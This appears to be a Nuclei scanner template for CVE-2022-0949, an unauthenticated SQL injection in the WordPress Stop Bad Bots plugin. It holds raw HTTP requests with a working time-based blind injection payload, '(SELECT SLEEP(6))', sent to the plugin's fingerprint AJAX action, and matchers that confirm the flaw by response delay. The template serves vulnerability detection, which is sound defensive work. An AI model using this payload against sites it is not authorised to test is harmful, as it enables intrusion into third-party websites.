61 lines
2.3 KiB
YAML
61 lines
2.3 KiB
YAML
id: CVE-2022-0949
|
|
|
|
info:
|
|
name: WordPress Stop Bad Bots <6.930 - SQL Injection
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: Fixed in version 6.930.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/a0fbb79a-e160-49df-9cf2-18ab64ea66cb
|
|
- https://wordpress.org/plugins/stopbadbots/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0949
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-0949
|
|
cwe-id: CWE-89
|
|
epss-score: 0.03032
|
|
epss-percentile: 0.89892
|
|
cpe: cpe:2.3:a:stopbadbots:block_and_stop_bad_bots:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: stopbadbots
|
|
product: block_and_stop_bad_bots
|
|
framework: wordpress
|
|
tags: cve,stopbadbots,wp-plugin,wp,unauth,wpscan,cve2022,sqli,wordpress
|
|
variables:
|
|
IP: '{{rand_ip("1.1.1.0/24")}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-Real-IP: {{IP}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=stopbadbots_grava_fingerprint&fingerprint=0
|
|
- |
|
|
@timeout 10s
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-Real-IP: {{IP}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))
|
|
- |
|
|
GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration_2>=6'
|
|
- 'status_code_2 == 200'
|
|
- 'contains(body_3, "commentform")'
|
|
condition: and
|
|
# digest: 4a0a00473045022100d9fabf6c2bf2ec4dae19bfd1e1b00c6cd2f096914ffaac47aef26181b622fd9b02207c3899792a8bdbbd9f7cce3cdf04c59883e82dbcf86e813f67155c7317b95f09:922c64590222798bb761d5b6d8e72950 |